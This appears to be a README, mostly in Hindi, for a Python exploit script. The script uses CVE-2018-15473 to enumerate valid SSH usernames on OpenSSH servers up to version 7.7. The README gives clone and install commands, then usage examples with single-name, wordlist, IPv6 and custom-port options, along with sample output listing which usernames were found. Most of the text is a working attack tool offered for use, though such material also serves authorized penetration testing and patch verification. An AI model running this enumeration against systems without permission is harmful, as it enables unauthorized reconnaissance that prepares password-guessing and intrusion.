
CVE-2018-15473 का शोषण करके मान्य SSH उपयोगकर्ता नामों की गणना करने के लिए पायथन स्क्रिप्ट, OpenSSH 7.7 तक में उपयोगकर्ता गणना भेद्यता।
OpenSSH 7.7 तक एक उपयोगकर्ता गणना भेद्यता के लिए संवेदनशील है, क्योंकि यह एक अमान्य प्रमाणीकरण उपयोगकर्ता के लिए बेलआउट में तब तक देरी नहीं करता जब तक कि अनुरोध वाले पैकेट को पूरी तरह से पार्स नहीं कर लिया जाता, जो auth2-gss.c, auth2-hostbased.c, और auth2-pubkey.c से संबंधित है।
आपको अपने डिस्ट्रो के समतुल्य openssl-dev पैकेज स्थापित करने की आवश्यकता हो सकती है
# NOTE: if you're installing on kali, you can skip the pip install; paramiko is already there.
git clone https://gitlab.com/epi052/cve-2018-15473.git
cd cve-2018-15473
pip install -r requirements.txt
# - OR -
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
एकल उपयोगकर्ता नाम
(cve-2018-15473)─> ./ssh-username-enum.py -u epi 192.168.1.2
[+] epi found!
10 थ्रेड वाली वर्डलिस्ट का उपयोग करें (डिफ़ॉल्ट 4 है)
(cve-2018-15473)─> ./ssh-username-enum.py -t 10 -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.1.2
[+] avahi found!
[+] avahi-autoipd found!
[+] backup found!
[+] daemon found!
[+] bin found!
------8<------
पोर्ट 2222 पर IPv6 पता और बढ़ी हुई वर्बोसिटी!
(cve-2018-15473)─> ./ssh-username-enum.py -6 -p 2222 -v -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt '::1'
[-] 4Dgifts not found
[-] demo not found
[-] checkfs not found
[-] anon not found
[-] EZsetup not found
[-] auditor not found
[-] demos not found
[-] OutOfBox not found
[-] checkfsys not found
[+] avahi found!
[-] diag not found
[-] ROOT not found
[-] checksys not found
[-] cmwlogin not found
[+] avahi-autoipd found!
------8<------